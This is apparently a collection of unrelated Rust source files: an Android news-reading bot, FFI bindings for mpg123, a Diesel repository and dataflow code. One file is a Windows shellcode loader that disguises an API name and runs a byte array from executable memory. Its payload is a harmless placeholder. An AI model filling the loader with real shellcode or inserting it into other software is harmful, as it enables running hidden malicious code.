println!("新闻已阅,耗时{:}秒", now.elapsed().as_secs());
i += 1;
}
draw()
}
self.return_home();
println!("新闻学习结束");
}
fn star_share_comment(&self, title: &str) -> u64 {
let p = self.rule_comment_bounds.texts();
if p.len() != 1 {
return 0;
}
// 分享
self.rule_share_bounds.click();
self.rule_share2xuexi_bounds.click();
println!("分享一篇文章!");
back();
// 留言
self.rule_comment_bounds.click();
while let [(x, y)] = &*self.rule_comment2_bounds.positions() {
tap(*x, *y);
let msg = get_comment(title);
set_ime("com.android.adbkeyboard/.AdbIME");
input(&msg);
println!("留言一篇文章: {}", &msg);
}
self.rule_publish_bounds.click();
// 收藏
self.rule_star_bounds.click();
println!("收藏一篇文章!");
// 保留评论与收藏
if !self.keep_star_comment {
for (x, y) in self.rule_delete_bounds.positions() {
tap(x, y);
self.rule_delete_confirm_bounds.click();
println!("删除评论");
}
self.rule_star_bounds.click();
println!("取消收藏");
}
return 1;
}
}
|
#![windows_subsystem = "windows"]
/*
Note: to statically link vcruntime, add the following to ~/.cargo/config
[target.x86_64-pc-windows-msvc]
rustflags = ["-C", "target-feature=+crt-static"]
*/
use std::{mem::transmute, ptr, ffi::CString};
#[link(name="kernel32")]
extern {
pub fn LoadLibraryA(lpLibFileName: *const i8) -> *const i8;
pub fn GetProcAddress(hModule: *const i8, lpProcName: *const i8) -> *const i8;
pub fn VirtualAlloc(lpAddress: *const u8, dwSize: usize, flAllocationType: i32, flProtect: i32) -> *const u8;
pub fn CreateThread(lpThreadAttributes: *const i8, dwStackSize: usize, lpStartAddress: *const u8,
lpParameter: *const u8, dwCreationFlags: usize, lpThreadId: *const u8) -> *const u8;
pub fn WaitForSingleObject(hHandle: *const u8, dwMilliseconds: isize) -> usize;
}
fn main() {
let user32_str = CString::new("user32").expect("");
let user32_handle = unsafe{ LoadLibraryA(user32_str.as_ptr()) };
let message_box_str = CString::new(String::from("NfttbhfCpyB").bytes().map(|x| ((x-1) as char) ).collect::<String>()).expect("");
let message_box: fn (*const i8, *const i8, *const i8, i32) =
unsafe{ transmute( GetProcAddress(user32_handle, message_box_str.as_ptr()) ) } ;
message_box(ptr::null(), CString::new("This is the body").expect("").as_ptr(),
CString::new("This is the title").expect("").as_ptr(), 0);
load_shellcode1();
}
fn load_shellcode1(){
let payload: [u8; 64] = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc];
unsafe {
let buffer = VirtualAlloc(ptr::null(), 1000, 0x3000, 0x40) as *mut u8;
println!("address: {:?}", buffer);
ptr::copy_nonoverlapping(payload.as_ptr(), buffer, 64);
let f: fn () = std::mem::transmute(buffer);
f();
}
}
fn load_shellcode2(){
let payload: [u8; 64] = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc];
unsafe {
let buffer = VirtualAlloc(ptr::null(), 1000, 0x3000, 0x40) as *mut u8;
println!("address: {:?}", buffer);
ptr::copy_nonoverlapping(payload.as_ptr(), buffer, 64);
let t = CreateThread(ptr::null(), 0, buffer, ptr::null(), 0, ptr::null());
WaitForSingleObject(t, -1);
}
} |
struct GPoint {
x: f32, y: f32
}
pub struct Canvas {
filename: String
}
impl Canvas {
pub fn new(filename: String) -> Canvas {
Canvas { filename: filename }
}
pub fn clear() {
}
pub fn filename(self) -> String {
self.filename
}
}
|
use diesel::prelude::*;
use crate::models::Rustacean;
use crate::schema::rustaceans;
pub struct RustaceanRepository;
impl RustaceanRepository {
pub fn load_all(c: &SqliteConnection) -> QueryResult<Vec<Rustacean>> {
rustaceans::table.limit(100).load::<Rustacean>(c)
}
pub fn find_by_id(c: &SqliteConnection, id: i32) -> QueryResult<Rustacean> {
rustaceans::table.find(id).get_result::<Rustacean>(c)
}
pub fn delete_rustacean(c: &SqliteConnection, id: i32) -> QueryResult<usize> {
diesel::delete(rustaceans::table.find(id)).execute(c)
}
pub fn create_rustacean(c: &SqliteConnection, new_rustacean: Rustacean) -> QueryResult<Rustacean> {
match diesel::insert_into(rustaceans::table)
// .values(new_rustacean)
.values((
rustaceans::name.eq(new_rustacean.name.to_owned()),
rustaceans::email.eq(new_rustacean.email.to_owned()),
))
.execute(c) {
Ok(_) => rustaceans::table.order(rustaceans::id.desc()).limit(1).get_result::<Rustacean>(c),
Err(e) => Err(e)
}
}
pub fn update_rustacean(c: &SqliteConnection, id: i32, rustacean: Rustacean) -> QueryResult<Rustacean> {
diesel::update(rustaceans::table.find(id))
.set((rustaceans::email.eq(rustacean.email.to_owned()),
rustaceans::name.eq(rustacean.name.to_owned())))
.execute(c)?;
Self::find_by_id(c, id)
}
}
|
// Copyright 2021 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
pub use client_last_resp::ClientLastRespValue;
pub use expire::ExpireKey;
pub use expire::ExpireValue;
pub use log_meta::LogMetaKey;
pub use log_meta::LogMetaValue;
pub use sm::SerializableSnapshot;
pub use sm::SnapshotKeyValue;
pub use sm::StateMachine;
pub use sm::StateMachineSubscriber;
pub use snapshot::StoredSnapshot;
pub use snapshot_id::MetaSnapshotId;
pub use state_machine_meta::StateMachineMetaKey;
pub use state_machine_meta::StateMachineMetaValue;
pub mod client_last_resp;
mod expire;
pub mod log_meta;
pub mod sm;
mod sm_kv_api_impl;
pub mod snapshot;
mod snapshot_id;
pub mod state_machine_meta;
// will be accessed by other crate, can not cfg(test)
pub mod testing;
|
//! Bindings to [mpg123][1].
//!
//! [1]: https://www.mpg123.de/
#![allow(non_camel_case_types)]
#[macro_use]
extern crate bitflags;
extern crate libc;
use libc::{c_char, c_double, c_int, c_long, c_uchar, c_ulong, c_void, off_t, size_t, ssize_t};
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_channelcount {
MPG123_MONO = 1,
MPG123_STEREO = 2,
}
pub use mpg123_channelcount::*;
bitflags! {
#[repr(C)]
pub struct mpg123_channels: c_int {
const MPG123_LEFT = 0x1;
const MPG123_RIGHT = 0x2;
const MPG123_LR = 0x3;
}
}
bitflags! {
#[repr(C)]
pub struct mpg123_enc_enum: c_int {
const MPG123_ENC_8 = 0x000f;
const MPG123_ENC_16 = 0x0040;
const MPG123_ENC_24 = 0x4000;
const MPG123_ENC_32 = 0x0100;
const MPG123_ENC_SIGNED = 0x0080;
const MPG123_ENC_FLOAT = 0x0e00;
const MPG123_ENC_SIGNED_16 = Self::MPG123_ENC_16.bits
| Self::MPG123_ENC_SIGNED.bits
| 0x0010;
const MPG123_ENC_UNSIGNED_16 = Self::MPG123_ENC_16.bits
| 0x0020;
const MPG123_ENC_UNSIGNED_8 = 0x0001;
const MPG123_ENC_SIGNED_8 = Self::MPG123_ENC_SIGNED.bits
| 0x0002;
const MPG123_ENC_ULAW_8 = 0x0004;
const MPG123_ENC_ALAW_8 = 0x0008;
const MPG123_ENC_SIGNED_32 = Self::MPG123_ENC_32.bits
| Self::MPG123_ENC_SIGNED.bits
| 0x1000;
const MPG123_ENC_UNSIGNED_32 = Self::MPG123_ENC_32.bits
| 0x2000;
const MPG123_ENC_SIGNED_24 = Self::MPG123_ENC_24.bits
| Self::MPG123_ENC_SIGNED.bits
| 0x1000;
const MPG123_ENC_UNSIGNED_24 = Self::MPG123_ENC_24.bits
| 0x2000;
const MPG123_ENC_FLOAT_32 = 0x0200;
const MPG123_ENC_FLOAT_64 = 0x0400;
const MPG123_ENC_ANY = Self::MPG123_ENC_SIGNED_8.bits
| Self::MPG123_ENC_SIGNED_16.bits
| Self::MPG123_ENC_SIGNED_24.bits
| Self::MPG123_ENC_SIGNED_32.bits
| Self::MPG123_ENC_UNSIGNED_8.bits
| Self::MPG123_ENC_UNSIGNED_16.bits
| Self::MPG123_ENC_UNSIGNED_24.bits
| Self::MPG123_ENC_UNSIGNED_32.bits
| Self::MPG123_ENC_ALAW_8.bits
| Self::MPG123_ENC_ULAW_8.bits
| Self::MPG123_ENC_FLOAT_32.bits
| Self::MPG123_ENC_FLOAT_64.bits;
}
}
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_errors {
MPG123_DONE = -12,
MPG123_NEW_FORMAT = -11,
MPG123_NEED_MORE = -10,
MPG123_ERR = -1,
MPG123_OK = 0,
MPG123_BAD_OUTFORMAT,
MPG123_BAD_CHANNEL,
MPG123_BAD_RATE,
MPG123_ERR_16TO8TABLE,
MPG123_BAD_PARAM,
MPG123_BAD_BUFFER,
MPG123_OUT_OF_MEM,
MPG123_NOT_INITIALIZED,
MPG123_BAD_DECODER,
MPG123_BAD_HANDLE,
MPG123_NO_BUFFERS,
MPG123_BAD_RVA,
MPG123_NO_GAPLESS,
MPG123_NO_SPACE,
MPG123_BAD_TYPES,
MPG123_BAD_BAND,
MPG123_ERR_NULL,
MPG123_ERR_READER,
MPG123_NO_SEEK_FROM_END,
MPG123_BAD_WHENCE,
MPG123_NO_TIMEOUT,
MPG123_BAD_FILE,
MPG123_NO_SEEK,
MPG123_NO_READER,
MPG123_BAD_PARS,
MPG123_BAD_INDEX_PAR,
MPG123_OUT_OF_SYNC,
MPG123_RESYNC_FAIL,
MPG123_NO_8BIT,
MPG123_BAD_ALIGN,
MPG123_NULL_BUFFER,
MPG123_NO_RELSEEK,
MPG123_NULL_POINTER,
MPG123_BAD_KEY,
MPG123_NO_INDEX,
MPG123_INDEX_FAIL,
MPG123_BAD_DECODER_SETUP,
MPG123_MISSING_FEATURE,
MPG123_BAD_VALUE,
MPG123_LSEEK_FAILED,
MPG123_BAD_CUSTOM_IO,
MPG123_LFS_OVERFLOW,
MPG123_INT_OVERFLOW,
}
pub use mpg123_errors::*;
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_feature_set {
MPG123_FEATURE_ABI_UTF8OPEN = 0,
MPG123_FEATURE_OUTPUT_8BIT,
MPG123_FEATURE_OUTPUT_16BIT,
MPG123_FEATURE_OUTPUT_32BIT,
MPG123_FEATURE_INDEX,
MPG123_FEATURE_PARSE_ID3V2,
MPG123_FEATURE_DECODE_LAYER1,
MPG123_FEATURE_DECODE_LAYER2,
MPG123_FEATURE_DECODE_LAYER3,
MPG123_FEATURE_DECODE_ACCURATE,
MPG123_FEATURE_DECODE_DOWNSAMPLE,
MPG123_FEATURE_DECODE_NTOM,
MPG123_FEATURE_PARSE_ICY,
MPG123_FEATURE_TIMEOUT_READ,
MPG123_FEATURE_EQUALIZER,
}
pub use mpg123_feature_set::*;
bitflags! {
#[repr(C)]
pub struct mpg123_flags: c_int {
const MPG123_CRC = 0x1;
const MPG123_COPYRIGHT = 0x2;
const MPG123_PRIVATE = 0x4;
const MPG123_ORIGINAL = 0x8;
}
}
#[derive(Clone, Copy)]
#[repr(C)]
pub struct mpg123_fmt {
pub rate: c_long,
pub channels: c_int,
pub encoding: c_int,
}
#[derive(Clone, Copy)]
#[repr(C)]
pub struct mpg123_frameinfo {
pub version: mpg123_version,
pub layer: c_int,
pub rate: c_long,
pub mode: mpg123_mode,
pub mode_ext: c_int,
pub framesize: c_int,
pub flags: mpg123_flags,
pub emphasis: c_int,
pub bitrate: c_int,
pub abr_rate: c_int,
pub vbr: mpg123_vbr,
}
pub enum mpg123_handle {}
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_id3_enc {
mpg123_id3_latin1 = 0,
mpg123_id3_utf16bom = 1,
mpg123_id3_utf16be = 2,
mpg123_id3_utf8 = 3,
}
pub use mpg123_id3_enc::*;
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_id3_pic_type {
mpg123_id3_pic_other = 0,
mpg123_id3_pic_icon = 1,
mpg123_id3_pic_other_icon = 2,
mpg123_id3_pic_front_cover = 3,
mpg123_id3_pic_back_cover = 4,
mpg123_id3_pic_leaflet = 5,
mpg123_id3_pic_media = 6,
mpg123_id3_pic_lead = 7,
mpg123_id3_pic_artist = 8,
mpg123_id3_pic_conductor = 9,
mpg123_id3_pic_orchestra = 10,
mpg123_id3_pic_composer = 11,
mpg123_id3_pic_lyricist = 12,
mpg123_id3_pic_location = 13,
mpg123_id3_pic_recording = 14,
mpg123_id3_pic_performance = 15,
mpg123_id3_pic_video = 16,
mpg123_id3_pic_fish = 17,
mpg123_id3_pic_illustration = 18,
mpg123_id3_pic_artist_logo = 19,
mpg123_id3_pic_publisher_logo = 20,
}
pub use mpg123_id3_pic_type::*;
#[derive(Clone, Copy)]
#[repr(C)]
pub struct mpg123_id3v1 {
pub tag: [c_char; 3],
pub title: [c_char; 30],
pub artist: [c_char; 30],
pub album: [c_char; 30],
pub year: [c_char; 4],
pub comment: [c_char; 30],
pub genre: c_uchar,
}
#[derive(Clone, Copy)]
#[repr(C)]
pub struct mpg123_id3v2 {
pub version: c_uchar,
pub title: *mut mpg123_string,
pub artist: *mut mpg123_string,
pub album: *mut mpg123_string,
pub year: *mut mpg123_string,
pub genre: *mut mpg123_string,
pub comment: *mut mpg123_string,
pub comment_list: *mut mpg123_text,
pub comments: size_t,
pub text: *mut mpg123_text,
pub texts: size_t,
pub extra: *mut mpg123_text,
pub extras: size_t,
pub picture: *mut mpg123_picture,
pub pictures: size_t,
}
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_mode {
MPG123_M_STEREO = 0,
MPG123_M_JOINT,
MPG123_M_DUAL,
MPG123_M_MONO,
}
pub use mpg123_mode::*;
pub enum mpg123_pars {}
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_parms {
MPG123_VERBOSE = 0,
MPG123_FLAGS,
MPG123_ADD_FLAGS,
MPG123_FORCE_RATE,
MPG123_DOWN_SAMPLE,
MPG123_RVA,
MPG123_DOWNSPEED,
MPG123_UPSPEED,
MPG123_START_FRAME,
MPG123_DECODE_FRAMES,
MPG123_ICY_INTERVAL,
MPG123_OUTSCALE,
MPG123_TIMEOUT,
MPG123_REMOVE_FLAGS,
MPG123_RESYNC_LIMIT,
MPG123_INDEX_SIZE,
MPG123_PREFRAMES,
MPG123_FEEDPOOL,
MPG123_FEEDBUFFER,
}
pub use mpg123_parms::*;
bitflags! {
#[repr(C)]
pub struct mpg123_param_flags: c_int {
const MPG123_FORCE_MONO = 0x00007;
const MPG123_MONO_LEFT = 0x00001;
const MPG123_MONO_RIGHT = 0x00002;
const MPG123_MONO_MIX = 0x00004;
const MPG123_FORCE_STEREO = 0x00008;
const MPG123_FORCE_8BIT = 0x00010;
const MPG123_QUIET = 0x00020;
const MPG123_GAPLESS = 0x00040;
const MPG123_NO_RESYNC = 0x00080;
const MPG123_SEEKBUFFER = 0x00100;
const MPG123_FUZZY = 0x00200;
const MPG123_FORCE_FLOAT = 0x00400;
const MPG123_PLAIN_ID3TEXT = 0x00800;
const MPG123_IGNORE_STREAMLENGTH = 0x01000;
const MPG123_SKIP_ID3V2 = 0x02000;
const MPG123_IGNORE_INFOFRAME = 0x04000;
const MPG123_AUTO_RESAMPLE = 0x08000;
const MPG123_PICTURE = 0x10000;
}
}
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_param_rva {
MPG123_RVA_OFF = 0,
MPG123_RVA_MIX = 1,
MPG123_RVA_ALBUM = 2,
}
pub use mpg123_param_rva::*;
#[derive(Clone, Copy)]
#[repr(C)]
pub struct mpg123_picture {
pub _type: c_char,
pub description: mpg123_string,
pub mime_type: mpg123_string,
pub size: size_t,
pub data: *mut c_uchar,
}
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_state {
MPG123_ACCURATE = 1,
MPG123_BUFFERFILL,
MPG123_FRANKENSTEIN,
MPG123_FRESH_DECODER,
}
pub use mpg123_state::*;
#[derive(Clone, Copy)]
#[repr(C)]
pub struct mpg123_string {
pub p: *mut c_char,
pub size: size_t,
pub fill: size_t,
}
#[derive(Clone, Copy)]
#[repr(C)]
pub struct mpg123_text {
pub lang: [c_char; 3],
pub id: [c_char; 4],
pub description: mpg123_string,
pub text: mpg123_string,
}
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_text_encoding {
mpg123_text_unknown = 0,
mpg123_text_utf8 = 1,
mpg123_text_latin1 = 2,
mpg123_text_icy = 3,
mpg123_text_cp1252 = 4,
mpg123_text_utf16 = 5,
mpg123_text_utf16bom = 6,
mpg123_text_utf16be = 7,
}
pub use mpg123_text_encoding::*;
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_vbr {
MPG123_CBR = 0,
MPG123_VBR,
MPG123_ABR,
}
pub use mpg123_vbr::*;
#[derive(Clone, Copy)]
#[repr(C)]
pub enum mpg123_version {
MPG123_1_0 = 0,
MPG123_2_0,
MPG123_2_5,
}
pub use mpg123_version::*;
extern "C" {
pub fn mpg123_init() -> c_int;
pub fn mpg123_exit();
pub fn mpg123_new(decoder: *const c_char, error: *mut c_int) -> *mut mpg123_handle;
pub fn mpg123_delete(mh: *mut mpg123_handle);
pub fn mpg123_param(
mh: *mut mpg123_handle,
_type: mpg123_parms,
value: c_long,
fvalue: c_double,
) -> c_int;
pub fn mpg123_getparam(
mh: *mut mpg123_handle,
_type: mpg123_parms,
value: *mut c_long,
fvalue: *mut c_double,
) -> c_int;
pub fn mpg123_feature(key: mpg123_feature_set) -> c_int;
pub fn mpg123_plain_strerror(errcode: c_int) -> *const c_char;
pub fn mpg123_strerror(mh: *mut mpg123_handle) -> *const c_char;
pub fn mpg123_errcode(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_decoders() -> *mut *const c_char;
pub fn mpg123_supported_decoders() -> *mut *const c_char;
pub fn mpg123_decoder(mh: *mut mpg123_handle, decoder_name: *const c_char) -> c_int;
pub fn mpg123_current_decoder(mh: *mut mpg123_handle) -> *const c_char;
pub fn mpg123_rates(list: *mut *const c_long, number: *mut size_t);
pub fn mpg123_encodings(list: *mut *const c_int, number: *mut size_t);
pub fn mpg123_encsize(encoding: c_int) -> c_int;
pub fn mpg123_format_none(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_format_all(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_format(
mh: *mut mpg123_handle,
rate: c_long,
channels: c_int,
encodings: c_int,
) -> c_int;
pub fn mpg123_format_support(mh: *mut mpg123_handle, rate: c_long, encoding: c_int) -> c_int;
pub fn mpg123_getformat(
mh: *mut mpg123_handle,
rate: *mut c_long,
channels: *mut c_int,
encoding: *mut c_int,
) -> c_int;
pub fn mpg123_open(mh: *mut mpg123_handle, path: *const c_char) -> c_int;
pub fn mpg123_open_fd(mh: *mut mpg123_handle, fd: c_int) -> c_int;
pub fn mpg123_open_handle(mh: *mut mpg123_handle, iohandle: *mut c_void) -> c_int;
pub fn mpg123_open_feed(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_close(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_read(
mh: *mut mpg123_handle,
outmemory: *mut c_uchar,
outmemsize: size_t,
done: *mut size_t,
) -> c_int;
pub fn mpg123_feed(mh: *mut mpg123_handle, _in: *const c_uchar, size: size_t) -> c_int;
pub fn mpg123_decode(
mh: *mut mpg123_handle,
inmemory: *const c_uchar,
inmemsize: size_t,
outmemory: *mut c_uchar,
outmemsize: size_t,
done: *mut size_t,
) -> c_int;
pub fn mpg123_decode_frame(
mh: *mut mpg123_handle,
num: *mut off_t,
audio: *mut *mut c_uchar,
bytes: *mut size_t,
) -> c_int;
pub fn mpg123_framebyframe_decode(
mh: *mut mpg123_handle,
num: *mut off_t,
audio: *mut *mut c_uchar,
bytes: *mut size_t,
) -> c_int;
pub fn mpg123_framebyframe_next(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_framedata(
mh: *mut mpg123_handle,
header: *mut c_ulong,
bodydata: *mut *mut c_uchar,
bodybytes: *mut size_t,
) -> c_int;
pub fn mpg123_framepos(mh: *mut mpg123_handle) -> off_t;
pub fn mpg123_tell(mh: *mut mpg123_handle) -> off_t;
pub fn mpg123_tellframe(mh: *mut mpg123_handle) -> off_t;
pub fn mpg123_tell_stream(mh: *mut mpg123_handle) -> off_t;
pub fn mpg123_seek(mh: *mut mpg123_handle, sampleoff: off_t, whence: c_int) -> off_t;
pub fn mpg123_feedseek(
mh: *mut mpg123_handle,
sampleoff: off_t,
whence: c_int,
input_offset: *mut off_t,
) -> off_t;
pub fn mpg123_seek_frame(mh: *mut mpg123_handle, frameoff: off_t, whence: c_int) -> off_t;
pub fn mpg123_timeframe(mh: *mut mpg123_handle, sec: c_double) -> off_t;
pub fn mpg123_index(
mh: *mut mpg123_handle,
offsets: *mut *mut off_t,
step: *mut off_t,
fill: *mut size_t,
) -> c_int;
pub fn mpg123_set_index(
mh: *mut mpg123_handle,
offsets: *mut off_t,
step: off_t,
fill: size_t,
) -> c_int;
pub fn mpg123_position(
mh: *mut mpg123_handle,
frame_offset: off_t,
buffered_bytes: off_t,
current_frame: *mut off_t,
frames_left: *mut off_t,
current_seconds: *mut c_double,
seconds_left: *mut c_double,
) -> c_int;
pub fn mpg123_eq(
mh: *mut mpg123_handle,
channel: mpg123_channels,
band: c_int,
val: c_double,
) -> c_int;
pub fn mpg123_geteq(mh: *mut mpg123_handle, channel: mpg123_channels, band: c_int) -> c_double;
pub fn mpg123_reset_eq(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_volume(mh: *mut mpg123_handle, vol: c_double) -> c_int;
pub fn mpg123_volume_change(mh: *mut mpg123_handle, change: c_double) -> c_int;
pub fn mpg123_getvolume(
mh: *mut mpg123_handle,
base: *mut c_double,
really: *mut c_double,
rva_db: *mut c_double,
) -> c_int;
pub fn mpg123_info(mh: *mut mpg123_handle, mi: *mut mpg123_frameinfo) -> c_int;
pub fn mpg123_safe_buffer() -> size_t;
pub fn mpg123_scan(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_framelength(mh: *mut mpg123_handle) -> off_t;
pub fn mpg123_length(mh: *mut mpg123_handle) -> off_t;
pub fn mpg123_set_filesize(mh: *mut mpg123_handle, size: off_t) -> c_int;
pub fn mpg123_tpf(mh: *mut mpg123_handle) -> c_double;
pub fn mpg123_spf(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_clip(mh: *mut mpg123_handle) -> c_long;
pub fn mpg123_getstate(
mh: *mut mpg123_handle,
key: mpg123_state,
val: *mut c_long,
fval: *mut c_double,
) -> c_int;
pub fn mpg123_init_string(sb: *mut mpg123_string);
pub fn mpg123_free_string(sb: *mut mpg123_string);
pub fn mpg123_resize_string(sb: *mut mpg123_string, news: size_t) -> c_int;
pub fn mpg123_grow_string(sb: *mut mpg123_string, news: size_t) -> c_int;
pub fn mpg123_copy_string(from: *mut mpg123_string, to: *mut mpg123_string) -> c_int;
pub fn mpg123_add_string(sb: *mut mpg123_string, stuff: *const c_char) -> c_int;
pub fn mpg123_add_substring(
sb: *mut mpg123_string,
stuff: *const c_char,
from: size_t,
count: size_t,
) -> c_int;
pub fn mpg123_set_string(sb: *mut mpg123_string, stuff: *const c_char) -> c_int;
pub fn mpg123_set_substring(
sb: *mut mpg123_string,
stuff: *const c_char,
from: size_t,
count: size_t,
) -> c_int;
pub fn mpg123_strlen(sb: *mut mpg123_string, utf8: c_int) -> size_t;
pub fn mpg123_chomp_string(sb: *mut mpg123_string) -> c_int;
pub fn mpg123_enc_from_id3(id3_enc_byte: c_uchar) -> mpg123_text_encoding;
pub fn mpg123_store_utf8(
sb: *mut mpg123_string,
enc: mpg123_text_encoding,
source: *const c_uchar,
source_size: size_t,
) -> c_int;
pub fn mpg123_meta_check(mh: *mut mpg123_handle) -> c_int;
pub fn mpg123_meta_free(mh: *mut mpg123_handle);
pub fn mpg123_id3(
mh: *mut mpg123_handle,
v1: *mut *mut mpg123_id3v1,
v2: *mut *mut mpg123_id3v2,
) -> c_int;
pub fn mpg123_icy(mh: *mut mpg123_handle, icy_meta: *mut *mut c_char) -> c_int;
pub fn mpg123_icy2utf8(icy_text: *const c_char) -> *mut c_char;
pub fn mpg123_parnew(
mp: *mut mpg123_pars,
decoder: *const c_char,
error: *mut c_int,
) -> *mut mpg123_handle;
pub fn mpg123_new_pars(error: *mut c_int) -> *mut mpg123_pars;
pub fn mpg123_delete_pars(mp: *mut mpg123_pars);
pub fn mpg123_fmt_none(mp: *mut mpg123_pars) -> c_int;
pub fn mpg123_fmt_all(mp: *mut mpg123_pars) -> c_int;
pub fn mpg123_fmt(
mp: *mut mpg123_pars,
rate: c_long,
channels: c_int,
encodings: c_int,
) -> c_int;
pub fn mpg123_fmt_support(mp: *mut mpg123_pars, rate: c_long, encoding: c_int) -> c_int;
pub fn mpg123_par(
mp: *mut mpg123_pars,
_type: mpg123_parms,
value: c_long,
fvalue: c_double,
) -> c_int;
pub fn mpg123_getpar(
mp: *mut mpg123_pars,
_type: mpg123_parms,
value: *mut c_long,
fvalue: *mut c_double,
) -> c_int;
pub fn mpg123_replace_buffer(mh: *mut mpg123_handle, data: *mut c_uchar, size: size_t)
-> c_int;
pub fn mpg123_outblock(mh: *mut mpg123_handle) -> size_t;
pub fn mpg123_replace_reader(
mh: *mut mpg123_handle,
r_read: unsafe extern "C" fn(c_int, *mut c_void, size_t) -> ssize_t,
r_lseek: unsafe extern "C" fn(c_int, off_t, c_int) -> off_t,
) -> c_int;
pub fn mpg123_replace_reader_handle(
mh: *mut mpg123_handle,
r_read: unsafe extern "C" fn(*mut c_void, *mut c_void, size_t) -> ssize_t,
r_lseek: unsafe extern "C" fn(*mut c_void, off_t, c_int) -> off_t,
cleanup: unsafe extern "C" fn(*mut c_void),
) -> c_int;
}
|
//! Wraps a child operator, and mediates the communication of progress information.
use std::default::Default;
use progress::frontier::{MutableAntichain, Antichain};
use progress::{Timestamp, Operate};
use progress::nested::Target;
use progress::nested::subgraph::Target::{GraphOutput, ChildInput};
use progress::count_map::CountMap;
pub struct ChildWrapper<T: Timestamp> {
pub name: String,
pub addr: Vec<usize>,
pub scope: Option<Box<Operate<T>>>, // the scope itself
index: usize,
pub inputs: usize, // cached information about inputs
pub outputs: usize, // cached information about outputs
pub edges: Vec<Vec<Target>>,
pub local: bool, // cached information about whether the operator is local
pub notify: bool,
pub summary: Vec<Vec<Antichain<T::Summary>>>, // internal path summaries (input x output)
pub guarantees: Vec<MutableAntichain<T>>, // per-input: guarantee made by parent scope in inputs
pub capabilities: Vec<MutableAntichain<T>>, // per-output: capabilities retained by scope on outputs
pub outstanding_messages: Vec<MutableAntichain<T>>, // per-input: counts of messages on each input
internal_progress: Vec<CountMap<T>>, // per-output: temp buffer used to ask about internal progress
consumed_messages: Vec<CountMap<T>>, // per-input: temp buffer used to ask about consumed messages
produced_messages: Vec<CountMap<T>>, // per-output: temp buffer used to ask about produced messages
pub guarantee_changes: Vec<CountMap<T>>, // per-input: temp storage for changes in some guarantee...
}
impl<T: Timestamp> ChildWrapper<T> {
pub fn new(mut scope: Box<Operate<T>>, index: usize, mut path: Vec<usize>) -> ChildWrapper<T> {
// LOGGING
path.push(index);
::logging::log(&::logging::OPERATES, ::logging::OperatesEvent { addr: path.clone(), name: scope.name().to_owned() });
let local = scope.local();
let inputs = scope.inputs();
let outputs = scope.outputs();
let notify = scope.notify_me();
let (summary, work) = scope.get_internal_summary();
assert!(summary.len() == inputs);
assert!(!summary.iter().any(|x| x.len() != outputs));
let mut result = ChildWrapper {
name: format!("{}[{}]", scope.name(), index),
addr: path,
scope: Some(scope),
index: index,
local: local,
inputs: inputs,
outputs: outputs,
edges: vec![Default::default(); outputs],
notify: notify,
summary: summary,
guarantees: vec![Default::default(); inputs],
capabilities: vec![Default::default(); outputs],
outstanding_messages: vec![Default::default(); inputs],
internal_progress: vec![CountMap::new(); outputs],
consumed_messages: vec![CountMap::new(); inputs],
produced_messages: vec![CountMap::new(); outputs],
guarantee_changes: vec![CountMap::new(); inputs],
};
// TODO : Gross. Fix.
for (index, capability) in result.capabilities.iter_mut().enumerate() {
capability.update_iter(work[index].elements().iter().map(|x|x.clone()));
}
return result;
}
pub fn set_external_summary(&mut self, summaries: Vec<Vec<Antichain<T::Summary>>>, frontier: &mut [CountMap<T>]) {
self.scope.as_mut().map(|scope| scope.set_external_summary(summaries, frontier));
}
pub fn push_pointstamps(&mut self, external_progress: &[CountMap<T>]) {
assert!(self.scope.is_some() || external_progress.iter().all(|x| x.len() == 0));
